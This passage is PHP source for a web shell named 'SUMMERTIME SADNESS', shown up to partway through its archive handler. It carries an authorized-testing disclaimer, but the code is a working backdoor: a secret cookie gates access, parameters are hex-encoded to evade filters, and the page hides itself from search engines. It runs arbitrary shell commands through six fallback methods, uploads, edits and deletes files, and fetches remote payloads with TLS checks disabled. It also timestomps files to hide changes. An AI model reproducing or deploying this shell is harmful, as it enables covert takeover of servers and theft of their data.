<?php
/**
 * SUMMERTIME SADNESS
 *
 * DISCLAIMER:
 * This tool is intended ONLY for authorized security testing and ethical bug hunting.
 * Usage of this tool for attacking targets without prior mutual consent is illegal.
 * It is the end user's responsibility to obey all applicable local, state and federal laws.
 * The developer assumes no liability and is not responsible for any misuse or damage caused by this program.
 *
 * By using this tool, you agree that:
 * - You have explicit written permission from the system owner
 * - You will use this tool responsibly and ethically
 * - You understand all legal implications in your jurisdiction
 */

/* ---------- Cookie Validation ---------- */
if (!isset($_COOKIE['RED']) || $_COOKIE['RED'] !== 'allow') {
    exit;
}
/* ---------- Security Headers ---------- */
@header("X-Robots-Tag: noindex, nofollow, noarchive, nosnippet, noimageindex",true);
@header("Referrer-Policy: no-referrer");
@header("X-Frame-Options: DENY");
@header("Cache-Control: no-store, no-cache, must-revalidate, max-age=0");
@header("Pragma: no-cache");
@header("Expires: 0");

/* ---------- Error Handling ---------- */
@ini_set("display_errors", "0");
@error_reporting(E_ALL & ~E_NOTICE & ~E_STRICT & ~E_DEPRECATED);

/* ---------- Hex Encoding Functions ---------- */
function hex_encode($data) {
    if (is_array($data)) {
        $result = [];
        foreach ($data as $key => $value) {
            $result[hex_encode($key)] = hex_encode($value);
        }
        return $result;
    }
    return bin2hex((string)$data);
}

function hex_decode($data) {
    if (is_array($data)) {
        $result = [];
        foreach ($data as $key => $value) {
            $result[hex_decode($key)] = hex_decode($value);
        }
        return $result;
    }
    
    // Check if it's valid hex
    if (!is_string($data) || !preg_match('/^[0-9a-f]+$/i', $data) || strlen($data) % 2 !== 0) {
        return $data; // Return as-is if not valid hex
    }
    
    $decoded = @hex2bin($data);
    return $decoded !== false ? $decoded : $data;
}

function hx($s) {
    return hex_encode((string)$s);
}

function uhx($s) {
    return hex_decode((string)$s);
}

/* ---------- Util & Polyfills ---------- */
function h($s)
{
    return htmlspecialchars((string) $s, ENT_QUOTES, "UTF-8");
}

if (!function_exists("biru_json_encode")) {
    function biru_json_encode($v)
    {
        if (function_exists("json_encode")) {
            $result = @json_encode($v);
            if ($result !== false) {
                return $result;
            }
        }
        // Fallback manual encoding
        if (is_bool($v)) {
            return $v ? "true" : "false";
        }
        if (is_numeric($v)) {
            return (string) $v;
        }
        if ($v === null) {
            return "null";
        }
        if (is_array($v)) {
            $pairs = [];
            foreach ($v as $k => $val) {
                $pairs[] =
                    biru_json_encode((string) $k) .
                    ":" .
                    biru_json_encode($val);
            }
            return "{" . implode(",", $pairs) . "}";
        }
        $s = str_replace(
            ["\\", "\"", "\r", "\n", "\t", "/"],
            ["\\\\", "\\\"", "\\r", "\\n", "\\t", "\\/"],
            (string) $v
        );
        return '"' . $s . '"';
    }
}

if (!function_exists("biru_hash_equals")) {
    function biru_hash_equals($a, $b)
    {
        if (function_exists("hash_equals")) {
            return hash_equals($a, $b);
        }
        if (!is_string($a) || !is_string($b)) {
            return false;
        }
        $len = strlen($a);
        if ($len !== strlen($b)) {
            return false;
        }
        $res = 0;
        for ($i = 0; $i < $len; $i++) {
            $res |= ord($a[$i]) ^ ord($b[$i]);
        }
        return $res === 0;
    }
}

function is_fn_usable($fn)
{
    if (!function_exists($fn)) {
        return false;
    }

    $disabled = [];
    $dis_str = @ini_get("disable_functions");
    if ($dis_str) {
        $disabled = array_merge(
            $disabled,
            array_map("trim", explode(",", $dis_str))
        );
    }

    $suhosin_str = @ini_get("suhosin.executor.func.blacklist");
    if ($suhosin_str) {
        $disabled = array_merge(
            $disabled,
            array_map("trim", explode(",", $suhosin_str))
        );
    }

    if (!empty($disabled)) {
        $disabled = array_filter(array_map("strtolower", $disabled));
        if (in_array(strtolower($fn), $disabled, true)) {
            return false;
        }
    }

    return true;
}

function biru_cmd_methods_enabled()
{
    $methods = [];
    $candidates = [
        "proc_open",
        "popen",
        "exec",
        "system",
        "shell_exec",
        "passthru",
    ];
    foreach ($candidates as $fn) {
        if (is_fn_usable($fn)) {
            $methods[] = $fn;
        }
    }
    return $methods;
}

function biru_onoff($b)
{
    return $b ? "ON" : "OFF";
}

function biru_badge($on, $textOn = "ON", $textOff = "OFF")
{
    $txt = $on ? $textOn : $textOff;
    $cls = $on
        ? "border-lime-500/30 bg-lime-500/10 text-lime-300"
        : "border-rose-500/30 bg-rose-500/10 text-rose-200";
    return '<span class="inline-flex items-center rounded-md border px-2 py-[2px] text-[11px] leading-none font-semibold ' .
        $cls .
        '">' .
        h($txt) .
        "</span>";
}

function biru_first_existing_file($paths)
{
    foreach ($paths as $p) {
        if (is_string($p) && $p !== "" && @file_exists($p)) {
            return $p;
        }
    }
    return "";
}

function biru_bin_exists($name)
{
    $candidates = [
        "/usr/bin/$name",
        "/bin/$name",
        "/usr/local/bin/$name",
        "/usr/sbin/$name",
        "/sbin/$name",
        "/usr/local/sbin/$name",
    ];
    return biru_first_existing_file($candidates) !== "";
}

function biru_detect_server_software()
{
    $sv = isset($_SERVER["SERVER_SOFTWARE"])
        ? (string) $_SERVER["SERVER_SOFTWARE"]
        : "";
    $svL = strtolower($sv);

    if (strpos($svL, "litespeed") !== false) {
        return "LiteSpeed";
    }
    if (strpos($svL, "openlitespeed") !== false) {
        return "OpenLiteSpeed";
    }
    if (strpos($svL, "nginx") !== false) {
        return "Nginx";
    }
    if (strpos($svL, "apache") !== false) {
        return "Apache";
    }
    if (strpos($svL, "caddy") !== false) {
        return "Caddy";
    }

    return $sv !== "" ? $sv : "Unknown";
}

function biru_server_ip()
{
    $ip = isset($_SERVER["SERVER_ADDR"])
        ? (string) $_SERVER["SERVER_ADDR"]
        : "";
    if ($ip !== "") {
        return $ip;
    }

    $host = isset($_SERVER["SERVER_NAME"])
        ? (string) $_SERVER["SERVER_NAME"]
        : "";
    if ($host !== "" && function_exists("gethostbyname")) {
        $r = @gethostbyname($host);
        if ($r && $r !== $host) {
            return $r;
        }
    }

    return "Unknown";
}

function biru_client_ip()
{
    return isset($_SERVER["REMOTE_ADDR"])
        ? (string) $_SERVER["REMOTE_ADDR"]
        : "Unknown";
}

function biru_user_group()
{
    $uid = function_exists("getmyuid") ? @getmyuid() : null;
    $gid = function_exists("getmygid") ? @getmygid() : null;
    $uname = "unknown";
    $gname = "unknown";

    if (function_exists("posix_getpwuid") && $uid !== null) {
        $pw = @posix_getpwuid($uid);
        if (is_array($pw) && !empty($pw["name"])) {
            $uname = $pw["name"];
        }
    }

    if (function_exists("posix_getgrgid") && $gid !== null) {
        $gr = @posix_getgrgid($gid);
        if (is_array($gr) && !empty($gr["name"])) {
            $gname = $gr["name"];
        }
    }

    return [$uname, $uid, $gname, $gid];
}

function biru_disable_functions_list()
{
    $d = trim((string) @ini_get("disable_functions"));
    if ($d === "") {
        return "NONE";
    }

    $arr = array_filter(array_map("trim", explode(",", $d)));
    return $arr ? implode(", ", $arr) : "NONE";
}

function biru_random_bytes($len)
{
    // Try modern method first
    if (function_exists("random_bytes") && is_fn_usable("random_bytes")) {
        try {
            return random_bytes($len);
        } catch (Exception $e) {
            // Fall through to alternatives
        }
    }

    // Try OpenSSL
    if (
        function_exists("openssl_random_pseudo_bytes") &&
        is_fn_usable("openssl_random_pseudo_bytes")
    ) {
        $strong = false;
        $b = @openssl_random_pseudo_bytes($len, $strong);
        if ($b !== false && $strong) {
            return $b;
        }
    }

    // Try /dev/urandom
    if (@is_readable("/dev/urandom")) {
        $fp = @fopen("/dev/urandom", "rb");
        if ($fp !== false) {
            $bytes = @fread($fp, $len);
            @fclose($fp);
            if (strlen($bytes) === $len) {
                return $bytes;
            }
        }
    }

    // Last resort: mt_rand (not cryptographically secure)
    $out = "";
    for ($i = 0; $i < $len; $i++) {
        $out .= chr(mt_rand(0, 255));
    }
    return $out;
}

function humanSize($b)
{
    $u = ["B", "KB", "MB", "GB", "TB"];
    $i = 0;
    while ($b >= 1024 && $i < count($u) - 1) {
        $b /= 1024;
        $i++;
    }
    return ($i ? number_format($b, 2) : (string) $b) . " " . $u[$i];
}

function permsToString($f)
{
    $p = @fileperms($f);
    if ($p === false) {
        return "??????????";
    }

    $t = $p & 0x4000 ? "d" : ($p & 0xa000 ? "l" : "-");
    $s = $p & 0x0100 ? "r" : "-";
    $s .= $p & 0x0080 ? "w" : "-";
    $s .= $p & 0x0040 ? "x" : "-";
    $s .= $p & 0x0020 ? "r" : "-";
    $s .= $p & 0x0010 ? "w" : "-";
    $s .= $p & 0x0008 ? "x" : "-";
    $s .= $p & 0x0004 ? "r" : "-";
    $s .= $p & 0x0002 ? "w" : "-";
    $s .= $p & 0x0001 ? "x" : "-";

    return $t . $s;
}

function modeFromInput($s)
{
    $s = trim($s);
    if ($s === "") {
        return 0644;
    }

    if (ctype_digit($s)) {
        if ($s[0] !== "0") {
            $s = "0" . $s;
        }
        return intval($s, 8);
    }

    return 0644;
}

function isTextFile($p)
{
    if (is_dir($p) || !is_file($p)) {
        return false;
    }

    $ext = strtolower(pathinfo($p, PATHINFO_EXTENSION));
    $text = [
        "txt",
        "md",
        "json",
        "js",
        "ts",
        "css",
        "scss",
        "less",
        "html",
        "htm",
        "xml",
        "svg",
        "php",
        "phtml",
        "inc",
        "ini",
        "cfg",
        "env",
        "yml",
        "yaml",
        "py",
        "rb",
        "go",
        "rs",
        "c",
        "h",
        "cpp",
        "hpp",
        "java",
        "kt",
        "sql",
        "csv",
        "log",
        "sh",
        "bash",
        "conf",
    ];

    if (in_array($ext, $text, true)) {
        return true;
    }

    // Check if content is UTF-8
    $s = @file_get_contents($p, false, null, 0, 2048);
    if ($s === false) {
        return false;
    }

    return (bool) preg_match("//u", $s);
}

function safeJoin($base, $child)
{
    $child = str_replace("\0", "", $child);
    $child = str_replace("\\", "/", $child);

    if ($child === "") {
        return $base;
    }

    // Prevent path traversal
    if (strpos($child, "../") !== false || strpos($child, "/..") !== false) {
        return $base;
    }

    if ($child[0] === "/" || preg_match("~^[A-Za-z]:[/\\\\]~", $child)) {
        return $child;
    }

    return rtrim($base, "/") . "/" . ltrim($child, "/");
}

function listDirEntries($dir)
{
    $h = @opendir($dir);
    if ($h === false) {
        return [];
    }

    $items = [];
    while (false !== ($e = readdir($h))) {
        if ($e === "." || $e === "..") {
            continue;
        }
        $items[] = $e;
    }
    closedir($h);

    return $items;
}

function rrmdir($p)
{
    if (!file_exists($p)) {
        return true;
    }
    if (is_file($p) || is_link($p)) {
        return @unlink($p);
    }

    $ok = true;
    $h = @opendir($p);
    if ($h === false) {
        return false;
    }

    while (false !== ($v = readdir($h))) {
        if ($v === "." || $v === "..") {
            continue;
        }
        $ok = rrmdir($p . "/" . $v) && $ok;
    }
    closedir($h);

    return @rmdir($p) && $ok;
}

function tryWriteFromTmp($tmp, $dest)
{
    $errors = [];

    // Method 1: move_uploaded_file
    if (@move_uploaded_file($tmp, $dest)) {
        return [true, null];
    }
    $errors[] = "move_uploaded_file";

    // Method 2: rename
    if (@rename($tmp, $dest)) {
        return [true, null];
    }
    $errors[] = "rename";

    // Method 3: copy
    if (@copy($tmp, $dest)) {
        @unlink($tmp);
        return [true, null];
    }
    $errors[] = "copy";

    // Method 4: file_get_contents + file_put_contents
    $data = @file_get_contents($tmp);
    if ($data !== false) {
        if (@file_put_contents($dest, $data) !== false) {
            @unlink($tmp);
            return [true, null];
        }
    }
    $errors[] = "get+put";

    // Method 5: stream copy
    $in = @fopen($tmp, "rb");
    $out = @fopen($dest, "wb");
    if ($in && $out) {
        $copied = @stream_copy_to_stream($in, $out);
        @fclose($in);
        @fclose($out);
        if ($copied !== false) {
            @unlink($tmp);
            return [true, null];
        }
        $errors[] = "stream_copy";
    } else {
        $errors[] = "fopen";
    }

    return [false, implode("; ", $errors) . " failed"];
}

function fetchUrlToFile($url, $dest)
{
    $errors = [];

    // Method 1: cURL
    if (function_exists("curl_init") && is_fn_usable("curl_init")) {
        $ch = @curl_init($url);
        $fp = @fopen($dest, "wb");

        if ($ch && $fp) {
            @curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
            @curl_setopt($ch, CURLOPT_FILE, $fp);
            @curl_setopt($ch, CURLOPT_FAILONERROR, true);
            @curl_setopt(
                $ch,
                CURLOPT_USERAGENT,
                "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
            );
            @curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
            @curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
            @curl_setopt($ch, CURLOPT_TIMEOUT, 60);
            @curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 30);

            $ok = @curl_exec($ch);
            $error = @curl_error($ch);
            @curl_close($ch);
            @fclose($fp);

            if ($ok) {
                return [true, null];
            }

            $errors[] = "cURL: " . $error;
            @unlink($dest);
        } else {
            if ($ch) {
                @curl_close($ch);
            }
            if ($fp) {
                @fclose($fp);
            }
            $errors[] = "cURL init failed";
        }
    }

    // Method 2: file_get_contents with stream context
    $ctx = @stream_context_create([
        "http" => [
            "follow_location" => 1,
            "timeout" => 60,
            "user_agent" =>
                "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
        ],
        "ssl" => [
            "verify_peer" => false,
            "verify_peer_name" => false,
        ],
    ]);

    $data = @file_get_contents($url, false, $ctx);
    if ($data !== false) {
        if (@file_put_contents($dest, $data) !== false) {
            return [true, null];
        }
    }
    $errors[] = "file_get_contents";

    // Method 3: fopen + stream copy
    $in = @fopen($url, "rb", false, $ctx);
    $out = @fopen($dest, "wb");

    if ($in && $out) {
        $copied = @stream_copy_to_stream($in, $out);
        @fclose($in);
        @fclose($out);

        if ($copied !== false) {
            return [true, null];
        }
        $errors[] = "stream_copy";
        @unlink($dest);
    } else {
        $errors[] = "fopen(url)";
    }

    return [false, implode("; ", $errors) . " failed"];
}

function breadcrumbs($path)
{
    $out = [];
    $segments = array_values(array_filter(explode("/", $path), "strlen"));

    $acc = "/";
    $out[] = ["/", "/"];

    foreach ($segments as $s) {
        $acc .= $s . "/";
        $out[] = [$s, rtrim($acc, "/")];
    }

    return $out;
}

function ensureCsrf()
{
    if ($_SERVER["REQUEST_METHOD"] === "POST") {
        // Decode POST data first
        $_POST = hex_decode($_POST);
        
        $sess = isset($_SESSION["csrf"]) ? $_SESSION["csrf"] : "";
        $tok = isset($_POST["csrf"]) ? (string) $_POST["csrf"] : "";

        if (!biru_hash_equals($sess, $tok)) {
            http_response_code(400);
            exit("CSRF token invalid");
        }
    }
}

/* ---------- Command runner ---------- */
function run_command_all($cmd, $cwd = null)
{
    if ($cwd === null) {
        $cwd = getcwd();
    }

    $full_cmd =
        "cd " . escapeshellarg($cwd) . " 2>/dev/null && " . $cmd . " 2>&1";

    // Method 1: proc_open (most reliable)
    if (is_fn_usable("proc_open")) {
        $descriptors = [
            0 => ["pipe", "r"],
            1 => ["pipe", "w"],
            2 => ["pipe", "w"],
        ];

        $proc = @proc_open($full_cmd, $descriptors, $pipes, null, null);
        if (is_resource($proc)) {
            @fclose($pipes[0]);
            $stdout = @stream_get_contents($pipes[1]);
            $stderr = @stream_get_contents($pipes[2]);
            @fclose($pipes[1]);
            @fclose($pipes[2]);
            $code = @proc_close($proc);

            return [
                "method" => "proc_open",
                "code" => $code,
                "out" => ($stdout ?: "") . ($stderr ?: ""),
            ];
        }
    }

    // Method 2: popen
    if (is_fn_usable("popen")) {
        $handle = @popen($full_cmd, "r");
        if ($handle) {
            $output = "";
            while (!feof($handle)) {
                $output .= @fread($handle, 4096);
            }
            @pclose($handle);

            return [
                "method" => "popen",
                "code" => null,
                "out" => $output,
            ];
        }
    }

    // Method 3: exec
    if (is_fn_usable("exec")) {
        $output = [];
        $code = 0;
        @exec($full_cmd, $output, $code);

        return [
            "method" => "exec",
            "code" => $code,
            "out" => implode("\n", $output),
        ];
    }

    // Method 4: system
    if (is_fn_usable("system")) {
        ob_start();
        $code = 0;
        @system($full_cmd, $code);
        $output = ob_get_clean();

        return [
            "method" => "system",
            "code" => $code,
            "out" => $output,
        ];
    }

    // Method 5: shell_exec
    if (is_fn_usable("shell_exec")) {
        $output = @shell_exec($full_cmd);

        return [
                "method" => "shell_exec",
                "code" => null,
                "out" => $output ?: "",
        ];
    }

    // Method 6: passthru
    if (is_fn_usable("passthru")) {
        ob_start();
        $code = 0;
        @passthru($full_cmd, $code);
        $output = ob_get_clean();

        return [
            "method" => "passthru",
            "code" => $code,
            "out" => $output,
        ];
    }

    return [
        "method" => "none",
        "code" => 127,
        "out" => "All command execution methods are disabled.",
    ];
}

/* ---------- chmod/mtime recursion ---------- */
function biru_apply_chmod($path, $mode, $recursive, &$ok)
{
    if (!@chmod($path, $mode)) {
        $ok = false;
    }

    if ($recursive && is_dir($path)) {
        $h = @opendir($path);
        if ($h !== false) {
            while (false !== ($v = readdir($h))) {
                if ($v === "." || $v === "..") {
                    continue;
                }
                biru_apply_chmod($path . "/" . $v, $mode, true, $ok);
            }
            closedir($h);
        } else {
            $ok = false;
        }
    }
}

function biru_apply_mtime($path, $timestamp, $recursive, &$ok)
{
    if (!@touch($path, $timestamp, $timestamp)) {
        $ok = false;
    }

    if ($recursive && is_dir($path)) {
        $h = @opendir($path);
        if ($h !== false) {
            while (false !== ($v = readdir($h))) {
                if ($v === "." || $v === "..") {
                    continue;
                }
                biru_apply_mtime($path . "/" . $v, $timestamp, true, $ok);
            }
            closedir($h);
        } else {
            $ok = false;
        }
    }
}

/* ---------- ZIP/TAR helpers ---------- */
function addDirToZip($zip, $dir, $local)
{
    $dir = rtrim($dir, "/");

    if (method_exists($zip, "addEmptyDir")) {
        @$zip->addEmptyDir($local);
    }

    $h = @opendir($dir);
    if (!$h) {
        return;
    }

    while (false !== ($e = readdir($h))) {
        if ($e === "." || $e === "..") {
            continue;
        }

        $full = $dir . "/" . $e;
        $localPath = $local . "/" . basename($e);

        if (is_dir($full)) {
            addDirToZip($zip, $full, $localPath);
        } elseif (is_file($full) && method_exists($zip, "addFile")) {
            @$zip->addFile($full, $localPath);
        }
    }
    closedir($h);
}

function addDirToPhar($phar, $dir, $local)
{
    $dir = rtrim($dir, "/");

    $h = @opendir($dir);
    if (!$h) {
        return;
    }

    while (false !== ($e = readdir($h))) {
        if ($e === "." || $e === "..") {
            continue;
        }

        $full = $dir . "/" . $e;
        $localPath = $local . "/" . basename($e);

        if (is_dir($full)) {
            if (method_exists($phar, "addEmptyDir")) {
                @$phar->addEmptyDir($localPath);
            }
            addDirToPhar($phar, $full, $localPath);
        } elseif (is_file($full) && method_exists($phar, "addFile")) {
            @$phar->addFile($full, $localPath);
        }
    }
    closedir($h);
}

/* =========================
 *        BOOT & ROUTER
 * ========================= */

// Session handling with error suppression
if (session_status() == PHP_SESSION_NONE) {
    @session_start();
}

// Initialize CSRF token
if (!isset($_SESSION["csrf"]) || empty($_SESSION["csrf"])) {
    $_SESSION["csrf"] = bin2hex(biru_random_bytes(32));
}

// Decode GET parameters
$_GET = hex_decode($_GET);

$current = isset($_GET["p"]) ? (string) $_GET["p"] : getcwd();
if (!is_dir($current)) {
    $current = getcwd();
}
$current = rtrim($current, "/");
if ($current === "") {
    $current = "/";
}

$action = isset($_GET["a"]) ? $_GET["a"] : "";
$tab = isset($_GET["tab"]) ? (string) $_GET["tab"] : "";
$subtab = isset($_GET["subtab"]) ? (string) $_GET["subtab"] : "";

/* ---- DOWNLOAD / RAW ---- */
if ($action === "download") {
    $f = safeJoin($current, isset($_GET["f"]) ? $_GET["f"] : "");

    if (!is_file($f) || !is_readable($f)) {
        http_response_code(404);
        exit("Not found");
    }

    @header("Content-Description: File Transfer");
    @header("Content-Type: application/octet-stream");
    @header('Content-Disposition: attachment; filename="' . basename($f) . '"');
    @header("Content-Length: " . filesize($f));
    @header("X-Content-Type-Options: nosniff");

    @readfile($f);
    exit();
}

if ($action === "raw") {
    $f = safeJoin($current, isset($_GET["f"]) ? $_GET["f"] : "");

    if (!is_file($f) || !is_readable($f)) {
        http_response_code(404);
        exit("Not found");
    }

    $mime = "application/octet-stream";

    if (function_exists("finfo_open") && is_fn_usable("finfo_open")) {
        $fi = @finfo_open(FILEINFO_MIME_TYPE);
        if ($fi) {
            $det = @finfo_file($fi, $f);
            if ($det) {
                $mime = $det;
            }
            @finfo_close($fi);
        }
    } elseif (
        function_exists("mime_content_type") &&
        is_fn_usable("mime_content_type")
    ) {
        $tmp = @mime_content_type($f);
        if ($tmp) {
            $mime = $tmp;
        }
    }

    @header("Content-Type: " . $mime);
    @header("Content-Length: " . filesize($f));
    @header("X-Content-Type-Options: nosniff");
    @header('Content-Disposition: inline; filename="' . basename($f) . '"');

    @readfile($f);
    exit();
}

/* ---- POST ACTIONS ---- */
if ($_SERVER["REQUEST_METHOD"] === "POST") {
    // Special handling for edit-save and new-file actions
    $currentAction = isset($_GET["a"]) ? $_GET["a"] : "";
    
    if ($currentAction === "edit-save" || $currentAction === "new-file") {
        // Save the content field before decoding
        $contentValue = isset($_POST["content"]) ? $_POST["content"] : "";
        
        // Remove content from POST so it won't be hex decoded
        unset($_POST["content"]);
        
        // Decode all other POST fields
        $_POST = hex_decode($_POST);
        
        // Restore the content field (keep it natural)
        if ($contentValue !== "") {
            $_POST["content"] = $contentValue;
        }
    } else {
        // For all other actions, decode all POST data as usual
        $_POST = hex_decode($_POST);
    }
    
    $_FILES = hex_decode($_FILES);
    
    ensureCsrf();

    $postedTab = isset($_POST["tab"]) ? (string) $_POST["tab"] : "";
    $postedSubtab = isset($_POST["subtab"]) ? (string) $_POST["subtab"] : "";

    $back = function () use ($current, $postedTab, $postedSubtab) {
        $q = "?p=" . hx($current);
        if ($postedTab !== "") {
            $q .= "&tab=" . hx($postedTab);
        }
        if ($postedSubtab !== "") {
            $q .= "&subtab=" . hx($postedSubtab);
        }
        header("Location: " . $q);
        exit();
    };

    switch ($currentAction) {
        case "logout":
            @session_destroy();
            header("Location: ?");
            exit();

        case "new-file":
            $name = trim((string) (isset($_POST["name"]) ? $_POST["name"] : ""));
            $content = isset($_POST["content"]) ? $_POST["content"] : "";

            if ($name === "" || strpos($name, "/") !== false) {
                $_SESSION["msg"] = "New File: invalid name";
                return $back();
            }

            $dst = safeJoin($current, $name);
            if (file_exists($dst)) {
                $_SESSION["msg"] = "New File: already exists";
                return $back();
            }

            if (@file_put_contents($dst, $content) !== false) {
                $_SESSION["msg"] = "New File OK: " . $name;
            } else {
                $_SESSION["msg"] = "New File failed (write denied)";
            }
            return $back();

        case "new-dir":
            $name = trim((string) (isset($_POST["name"]) ? $_POST["name"] : ""));

            if ($name === "" || strpos($name, "/") !== false) {
                $_SESSION["msg"] = "New Folder: invalid name";
                return $back();
            }

            $dst = safeJoin($current, $name);
            if (file_exists($dst)) {
                $_SESSION["msg"] = "New Folder: already exists";
                return $back();
            }

            $ok = @mkdir($dst, 0755, false);
            $_SESSION["msg"] = $ok
                ? "New Folder OK: " . $name
                : "New Folder failed";
            return $back();

        case "edit-save":
            $file = safeJoin($current, isset($_POST["file"]) ? $_POST["file"] : "");
            $content = isset($_POST["content"]) ? $_POST["content"] : "";
            $mode = isset($_POST["mode"]) ? $_POST["mode"] : "txt";

            if (!is_file($file) || !is_writable($file)) {
                $_SESSION["msg"] = "Save failed (file not writable)";
                return $back();
            }

            if ($mode === "b64") {
                $data = base64_decode($content, true);
                if ($data === false) {
                    $_SESSION["msg"] = "Save failed: invalid Base64 data";
                    return $back();
                }
                @file_put_contents($file, $data);
            } else {
                @file_put_contents($file, $content);
            }

            $_SESSION["msg"] = "Saved: " . basename($file);
            return $back();

        case "rename":
            $old = safeJoin($current, isset($_POST["old"]) ? $_POST["old"] : "");
            $new = trim((string) (isset($_POST["new"]) ? $_POST["new"] : ""));

            if ($new === "" || strpos($new, "/") !== false) {
                $_SESSION["msg"] = "Invalid new name";
            } else {
                $dst = safeJoin($current, $new);
                $_SESSION["msg"] = @rename($old, $dst)
                    ? "Rename OK"
                    : "Rename failed";
            }
            return $back();

        case "chmod":
            $target = safeJoin($current, isset($_POST["target"]) ? $_POST["target"] : "");
            $mode = modeFromInput((string) (isset($_POST["mode"]) ? $_POST["mode"] : "0644"));
            $rec = !empty($_POST["recursive"]);

            $ok = true;
            biru_apply_chmod($target, $mode, $rec, $ok);

            $_SESSION["msg"] = $ok ? "Chmod OK" : "Chmod partially failed";
            return $back();

        case "delete":
            $t = safeJoin($current, isset($_POST["target"]) ? $_POST["target"] : "");
            $_SESSION["msg"] = rrmdir($t) ? "Delete OK" : "Delete failed";
            return $back();

        case "mass-delete":
            $arr = isset($_POST["items"]) ? $_POST["items"] : [];
            $ok = true;

            if (is_array($arr)) {
                foreach ($arr as $n) {
                    $ok = rrmdir(safeJoin($current, $n)) && $ok;
                }
            }

            $_SESSION["msg"] = $ok
                ? "Bulk delete OK"
                : "Some items failed to delete";
            return $back();

        case "upload":
            if (!isset($_FILES["files"])) {
                $_SESSION["msg"] = "No files provided";
                return $back();
            }

            $c = count($_FILES["files"]["name"]);
            $ok = 0;
            $fail = 0;
            $fails = [];

            for ($i = 0; $i < $c; $i++) {
                $name = $_FILES["files"]["name"][$i];
                $tmp = $_FILES["files"]["tmp_name"][$i];
                $e = $_FILES["files"]["error"][$i];

                if ($e !== UPLOAD_ERR_OK) {
                    $fail++;
                    $fails[] = "$name (error $e)";
                    continue;
                }

                list($done, $why) = tryWriteFromTmp($tmp, safeJoin($current, $name));

                if ($done) {
                    $ok++;
                } else {
                    $fail++;
                    $fails[] = "$name ($why)";
                }
            }

            $_SESSION["msg"] =
                "Upload: OK=$ok; Failed=$fail" .
                ($fails ? "; " . implode(", ", $fails) : "");
            return $back();

        case "url-upload":
            $url = trim((string) (isset($_POST["url"]) ? $_POST["url"] : ""));
            $fn = trim((string) (isset($_POST["filename"]) ? $_POST["filename"] : ""));

            if ($url === "") {
                $_SESSION["msg"] = "URL is empty";
                return $back();
            }

            if ($fn === "") {
                $path = parse_url($url, PHP_URL_PATH);
                $fn = basename($path ? $path : "");
                if ($fn === "") {
                    $fn = "download.bin";
                }
            }

            list($ok, $w) = fetchUrlToFile($url, safeJoin($current, $fn));

            $_SESSION["msg"] = $ok
                ? "Downloaded from URL: $fn"
                : "URL download failed: $w";
            return $back();

        case "mtime":
            $target = safeJoin($current, isset($_POST["target"]) ? $_POST["target"] : "");
            $input = trim((string) (isset($_POST["ts"]) ? $_POST["ts"] : ""));
            $rec = !empty($_POST["recursive"]);

            if ($input === "") {
                $_SESSION["msg"] = "Change Date: empty";
                return $back();
            }

            if (ctype_digit($input)) {
                $ts = (int) $input;
            } else {
                $ts = @strtotime($input);
                if ($ts === false) {
                    $_SESSION["msg"] = "Change Date: invalid time format";
                    return $back();
                }
            }

            $ok = true;
            biru_apply_mtime($target, $ts, $rec, $ok);

            $_SESSION["msg"] = $ok
                ? "Change Date OK → " . date("Y-m-d H:i:s", $ts)
                : "Change Date partially failed";
            return $back();

        case "cmd":
            $cmd = trim((string) (isset($_POST["cmd"]) ? $_POST["cmd"] : ""));

            if ($cmd === "") {
                $_SESSION["msg"] = "Command is empty.";
                return $back();
            }

            $result = run_command_all($cmd, $current);
            $out = (string) $result["out"];

            if (strlen($out) > 1024 * 1024) {
                $out = substr($out, 0, 1024 * 1024) . "\n[output truncated]";
            }

            $_SESSION["cmd_result"] = [
                "cmd" => $cmd,
                "method" => $result["method"],
                "code" => $result["code"],
                "out" => $out,
            ];
            return $back();

        case "move":
            $srcName = (string) (isset($_POST["src"]) ? $_POST["src"] : "");
            $dstDir = (string) (isset($_POST["dst"]) ? $_POST["dst"] : "");
            $srcFull = safeJoin($current, $srcName);

            if ($srcName === "" || !file_exists($srcFull)) {
                $_SESSION["msg"] = "Move failed: source missing";
                return $back();
            }

            if ($dstDir === "") {
                $_SESSION["msg"] = "Move failed: destination empty";
                return $back();
            }

            if (!is_dir($dstDir)) {
                $_SESSION["msg"] = "Move failed: destination is not a directory";
                return $back();
            }

            $dstFull = safeJoin($dstDir, basename($srcName));

            if (@realpath($srcFull) === @realpath($dstFull)) {
                $_SESSION["msg"] = "Move skipped (same location)";
                return $back();
            }

            $ok = @rename($srcFull, $dstFull);
            $_SESSION["msg"] = $ok ? "Move OK" : "Move failed";
            return $back();

        case "zip":
            $items = isset($_POST["items"]) ? $_POST["items"] : [];
            $name = trim((string) (isset($_POST["zipname"]) ? $_POST["zipname"] : ""));

            if (!is_array($items) || empty($items)) {
                $_SESSION["msg"] = "Zip failed: nothing selected";
                return $back();
            }

            if ($name === "") {
                $name = "archive-" . date("Ymd-His") . ".zip";
            }

            $archivePath = safeJoin($current, $name);
            $done = false;
            $err = "";

            if (class_exists("ZipArchive")) {
                $zip = new ZipArchive();
                if (
                    $zip->open(
                        $archivePath,
                        ZipArchive::CREATE | ZipArchive::OVERWRITE
                    ) === true
                ) {
                    foreach ($items as $it) {
                        $full = safeJoin($current, $it);

                        if (is_dir($full)) {
                            $itClean = rtrim($it, "/");
                            addDirToZip($zip, $full, $itClean);
                        } elseif (is_file($full)) {
                            @$zip->addFile($full, basename($it));
                        }
                    }
                    $zip->close();
                    $done = true;
                } else {
                    $err = "ZipArchive open failed";
                }
            }

            if (!$done) {
                if (class_exists("PharData")) {
                    try {
                        $tarName = preg_replace('~\.zip$~i', ".tar", $archivePath);
                        $phar = new PharData($tarName);

                        foreach ($items as $it) {
                            $full = safeJoin($current, $it);

                            if (is_dir($full)) {
                                @$phar->addEmptyDir(basename($it));
                                addDirToPhar($phar, $full, basename($it));
                            } elseif (is_file($full)) {
                                @$phar->addFile($full, basename($it));
                            }
                        }
                        unset($phar);

                        $_SESSION["msg"] =
                            "ZipArchive not available; created TAR instead: " .
                            basename($tarName);
                        return $back();
                    } catch (Exception $e) {
                        $err = "TAR fallback failed: " . $e->getMessage();
                    }
                } else {
                    $err =
                        ($err ? $err . "; " : "") .
                        "No ZipArchive nor PharData available";
                }
            }

